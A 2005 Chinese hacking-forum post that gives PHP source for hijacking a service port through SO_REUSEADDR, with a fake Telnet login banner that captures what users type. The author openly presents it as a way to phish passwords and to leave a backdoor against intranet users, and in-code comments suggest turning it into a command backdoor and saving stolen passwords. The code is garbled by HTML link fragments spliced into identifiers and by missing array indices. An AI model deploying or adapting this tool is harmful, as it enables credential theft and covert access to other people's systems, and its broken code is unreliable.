韩冰 发表于 2005-1-23 13:26

PHP下实现端口复用/劫持

<P><FONT color=#f70909>作者：Darkness 　</FONT><a href="http://www.bugkidz.org/" target="_blank" ><FONT color=#f70909>www.bugkidz.org</FONT></A> </P>
<P>经常看到有朋友问端口复用，我花了一个晚上写了一点<a href="http://hackbase.com/hacker" target="_blank" >代码</A>
本来想做成嗅叹转发的，无奈单线程的东西很局限，而且始终只能得到头行数据。我想要做成那样的，对于高手来说，不是困难的事。
如果你不懂如何配置，请参照我以前的文章《PHP-SOCKETS初步接触》。WIN下只要有GUEST权限即可用，而且通过配合
〈WINDOWS下装多个PHP〉  这篇文章，GUEST可以单独安装支持PHPSOCKETS的PHP。</P>
<P>假如监听127.0.0.1 ,访问共网IP不受影响，假如监听公网IP，127。0。0。1等IP不受影响。
这个可以用于欺骗用户<a href="http://hackbase.com/hacker" target="_blank" >密码</A>，因为原来的<a href="http://vip.hackbase.com/" target="_blank" >服务</A>不可用了。或者留成针对内网用户的后门。
最后欢迎加MSN：CQXY21CN。NET赐教。
#!/usr/bin/php -q
#c0dz by Darkness
#Team:www.bugkidz.org
#E-mail:cqxy21cn.net
&lt;?php
if ($argc != 3 || in<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>array($argc , array('--help','-h','?')))
{
    echo "Use:#./$argv <a href="http://www.bugkidz.org/" target="_blank" >www.bugkidz.org</A> 192.168.0.1 21\r\n";
    echo "c0dz By Darkness";
    exit;
}
error<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>reporting(E<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>ALL);</P>
<P>set<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>time<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>limit(0);</P>
<P>ob<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>implicit<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>flush();</P>
<P>$host = $argv;
$port = $argv;
if (($sock = socket<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>create(AF<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>INET, SOCK<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>STREAM, SOL<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>TCP)) &lt; 0) {
   echo "socket<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>create() failed: reason: " . socket<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>strerror($sock) . "\n";
} /*建立SOCKET*/
socket<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>set<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>option($sock,SOL<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>SOCKET,SO<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>REUSEADDR,1); /*设置SOCKET连接的属性为SO<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>REUSEADDR,这样才可以端口复用*/
if (($ret = socket<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>bind($sock, $host, $port)) &lt; 0) {
   echo "socket<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>bind() failed: reason: " . socket<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>strerror($ret) . "\n";
}/*绑定端口*/</P>
<P>if (($ret = socket<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>listen($sock, 5)) &lt; 0) {
   echo "socket<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>listen() failed: reason: " . socket<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>strerror($ret) . "\n";
}  /*开始监听*/</P>
<P>            
while(true) {
  
   if (($sniffer = socket<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>accept($sock)) &lt; 0) {
       echo "socket<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>accept() failed: reason: " . socket<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>strerror($sniffer) . "\n";
       break;
   }
if ($port == 23)
    {
    $txt = "Welcome to the Telnet Server\r\n";
    $txt .="User:\r\n";
           socket<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>write($sniffer, $txt, strlen($txt));
    } /*这里是伪装信息，把自己伪装成原来的TELNET<a href="http://vip.hackbase.com/" target="_blank" >服务</A>器，这样来骗取<a href="http://hackbase.com/hacker" target="_blank" >密码</A>*/</P>
<P>   while(true) {
     
         if(($buf <a href=" target="_blank" >_</A>read($sniffer"&gt;=@socket<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>read($sniffer</A>, 2048, PHP<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>BINARY<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>READ)) ==false)
       {
            
        break;
            
       }
     
       if (!$buf = trim($buf)) {
           continue;
       }
       </P>
<P>       if ($buf == '!quit') {
           break;
       }
       if ($buf == '!shutdown') {
           socket<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>close($sniffer);
           break 2;        /*其实这里可以调用system()，搞成一个CMD后门，反正你想怎么改都可以*/
       }
      
       $sniff<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>data = "$buf\r\n";
      
       /* else socket<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>write($sniffer, $sniff<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>data, strlen($sniff<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>data));*/
       echo $sniff<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>data;
       /*输出字符串,这里可以加进文件处理,保存<a href="http://hackbase.com/hacker" target="_blank" >密码</A>什么的*/
   }
   socket<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>close($sniffer);
     
   
}
socket<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>close($resock);
socket<a href="http://www3.hackbase.com/hacker/tutorial/200501239683.htm#" target="_blank" >_</A>close($sock);
?&gt; </P>
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